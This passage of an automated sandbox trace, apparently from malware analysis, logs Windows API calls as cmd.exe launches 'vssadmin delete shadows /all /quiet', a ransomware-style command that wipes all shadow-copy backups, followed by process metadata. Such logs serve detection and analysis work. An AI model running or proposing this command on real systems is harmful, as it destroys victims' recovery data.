Flags=0x8, Size=0x22) returned 0xe4630 [0086.670] GetProcessHeap () returned 0xd0000 [0086.670] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x48) returned 0xf0090 [0086.670] GetConsoleOutputCP () returned 0x4e3 [0086.670] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0086.670] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.671] GetConsoleTitleW (in: lpConsoleTitle=0x31f630, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x218) returned 0xeaae0 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x5a) returned 0xe9a50 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x420) returned 0xeb9a0 [0086.671] SetErrorMode (uMode=0x0) returned 0x0 [0086.671] SetErrorMode (uMode=0x1) returned 0x0 [0086.671] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xeb9b0, lpFilePart=0x31eec0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x31eec0*="system32") returned 0x13 [0086.671] SetErrorMode (uMode=0x0) returned 0x1 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xeb9a0, Size=0x4a) returned 0xeb9a0 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeb9a0) returned 0x4a [0086.671] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0086.671] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x104) returned 0xe5bb0 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x1f8) returned 0xeba00 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xeba00, Size=0x106) returned 0xeba00 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeba00) returned 0x106 [0086.671] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xe8) returned 0xe9c60 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xe9c60, Size=0x7e) returned 0xe9c60 [0086.671] GetProcessHeap () returned 0xd0000 [0086.671] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe9c60) returned 0x7e [0086.671] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.671] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x31ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec30) returned 0xe5cc0 [0086.671] FindClose (in: hFindFile=0xe5cc0 | out: hFindFile=0xe5cc0) returned 1 [0086.672] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x31ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec30) returned 0xffffffffffffffff [0086.672] GetLastError () returned 0x2 [0086.672] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x31ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec30) returned 0xf1040 [0086.672] FindClose (in: hFindFile=0xf1040 | out: hFindFile=0xf1040) returned 1 [0086.672] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0086.672] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0086.672] GetConsoleTitleW (in: lpConsoleTitle=0x31f180, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.672] GetProcessHeap () returned 0xd0000 [0086.672] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x21c) returned 0xebb20 [0086.672] GetConsoleTitleW (in: lpConsoleTitle=0xebb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.672] GetProcessHeap () returned 0xd0000 [0086.672] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xebb20, Size=0xa2) returned 0xebb20 [0086.672] GetProcessHeap () returned 0xd0000 [0086.672] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb20) returned 0xa2 [0086.672] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0086.673] GetProcessHeap () returned 0xd0000 [0086.673] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb20 | out: hHeap=0xd0000) returned 1 [0086.673] InitializeProcThreadAttributeList (in: lpAttributeList=0x31ef38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31eef8 | out: lpAttributeList=0x31ef38, lpSize=0x31eef8) returned 1 [0086.673] UpdateProcThreadAttribute (in: lpAttributeList=0x31ef38, dwFlags=0x0, Attribute=0x60001, lpValue=0x31eee8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31ef38, lpPreviousValue=0x0) returned 1 [0086.673] GetStartupInfoW (in: lpStartupInfo=0x31f050 | out: lpStartupInfo=0x31f050*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0086.673] GetProcessHeap () returned 0xd0000 [0086.673] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x20) returned 0xe4660 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0086.673] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0086.673] GetProcessHeap () returned 0xd0000 [0086.674] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe4660 | out: hHeap=0xd0000) returned 1 [0086.674] GetProcessHeap () returned 0xd0000 [0086.674] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x12) returned 0xe9ac0 [0086.674] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x31ef70*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31ef20 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x31ef20*(hProcess=0x50, hThread=0x54, dwProcessId=0x6c8, dwThreadId=0x6cc)) returned 1 [0086.679] CloseHandle (hObject=0x54) returned 1 [0086.679] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0086.679] GetProcessHeap () returned 0xd0000 [0086.679] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xef4e0 | out: hHeap=0xd0000) returned 1 [0086.679] GetEnvironmentStringsW () returned 0xe89c0* [0086.679] GetProcessHeap () returned 0xd0000 [0086.679] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb22) returned 0xee9b0 [0086.679] FreeEnvironmentStringsW (penv=0xe89c0) returned 1 [0086.679] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x31e828, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x31e828, ReturnLength=0x0) returned 0x0 [0086.679] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x31e860, nSize=0x380, lpNumberOfBytesRead=0x31e820 | out: lpBuffer=0x31e860*, lpNumberOfBytesRead=0x31e820*=0x380) returned 1 [0086.679] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0088.774] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x31ee68 | out: lpExitCode=0x31ee68*=0x2) returned 1 [0088.774] CloseHandle (hObject=0x50) returned 1 [0088.774] _vsnwprintf (in: _Buffer=0x31f0d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ee78 | out: _Buffer="00000002") returned 8 [0088.774] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0088.774] GetProcessHeap () returned 0xd0000 [0088.774] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xee9b0 | out: hHeap=0xd0000) returned 1 [0088.774] GetEnvironmentStringsW () returned 0xe89c0* [0088.774] GetProcessHeap () returned 0xd0000 [0088.774] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb22) returned 0xee9b0 [0088.774] FreeEnvironmentStringsW (penv=0xe89c0) returned 1 [0088.774] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0088.774] GetProcessHeap () returned 0xd0000 [0088.774] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xee9b0 | out: hHeap=0xd0000) returned 1 [0088.774] GetEnvironmentStringsW () returned 0xe89c0* [0088.774] GetProcessHeap () returned 0xd0000 [0088.774] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb22) returned 0xee9b0 [0088.774] FreeEnvironmentStringsW (penv=0xe89c0) returned 1 [0088.774] GetProcessHeap () returned 0xd0000 [0088.774] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9ac0 | out: hHeap=0xd0000) returned 1 [0088.774] DeleteProcThreadAttributeList (in: lpAttributeList=0x31ef38 | out: lpAttributeList=0x31ef38) [0088.774] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0088.775] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.775] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0088.775] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.775] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0088.775] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.775] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0088.775] GetConsoleOutputCP () returned 0x4e3 [0088.775] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0088.775] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9c60 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeba00 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bb0 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb9a0 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9a50 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeaae0 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xf0090 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe4630 | out: hHeap=0xd0000) returned 1 [0088.776] GetProcessHeap () returned 0xd0000 [0088.776] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9840 | out: hHeap=0xd0000) returned 1 [0088.776] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f398 | out: _Buffer="\r\n") returned 2 [0088.776] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.776] GetFileType (hFile=0xf4) returned 0x3 [0088.776] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.776] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0088.776] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x31f368, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f368*=0x2, lpOverlapped=0x0) returned 1 [0088.776] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0088.776] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0088.776] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0088.776] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x31f3a8 | out: _Buffer=">") returned 1 [0088.776] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.776] GetFileType (hFile=0xf4) returned 0x3 [0088.776] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.776] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0088.776] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x31f398, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f398*=0x14, lpOverlapped=0x0) returned 1 [0088.776] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.776] GetFileType (hFile=0xe8) returned 0x3 [0088.776] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.776] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.776] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0088.776] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0088.776] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.776] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.777] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0088.777] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0088.777] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.777] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.777] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0088.777] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0088.777] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.777] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.777] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0088.777] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0088.777] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.777] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.777] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x31f698, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0088.777] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0088.777] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.777] GetFileType (hFile=0xe8) returned 0x3 [0088.777] _get_osfhandle (_FileHandle=0) returned 0xe8 [0088.777] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.777] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.777] GetFileType (hFile=0xf4) returned 0x3 [0088.777] _get_osfhandle (_FileHandle=1) returned 0xf4 [0088.777] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0088.777] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x31f678, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f678*=0x5, lpOverlapped=0x0) returned 1 [0088.777] GetProcessHeap () returned 0xd0000 [0088.777] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x4012) returned 0xf2010 [0088.777] GetProcessHeap () returned 0xd0000 [0088.777] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xf2010 | out: hHeap=0xd0000) returned 1 [0088.777] GetProcessHeap () returned 0xd0000 [0088.777] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb0) returned 0xe9840 [0088.777] GetProcessHeap () returned 0xd0000 [0088.777] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x1a) returned 0xe4630 [0088.778] GetConsoleOutputCP () returned 0x4e3 [0088.778] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0088.778] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0088.778] GetConsoleTitleW (in: lpConsoleTitle=0x31f630, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.778] GetProcessHeap () returned 0xd0000 [0088.778] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x14) returned 0xe8940 [0088.778] GetProcessHeap () returned 0xd0000 [0088.778] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x1a) returned 0xe4660 [0088.778] GetProcessHeap () returned 0xd0000 [0088.778] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x21c) returned 0xeb9a0 [0088.778] GetConsoleTitleW (in: lpConsoleTitle=0xeb9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.778] GetProcessHeap () returned 0xd0000 [0088.778] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xeb9a0, Size=0x62) returned 0xeb9a0 [0088.778] GetProcessHeap () returned 0xd0000 [0088.778] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeb9a0) returned 0x62 [0088.778] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0088.779] GetProcessHeap () returned 0xd0000 [0088.779] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb9a0 | out: hHeap=0xd0000) returned 1 [0088.779] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0088.779] exit (_Code=2) Process: id = "11" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x73cea000" os_pid = "0x664" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5e4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0x668 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x7240d000" os_pid = "0x6c8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x5e4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" 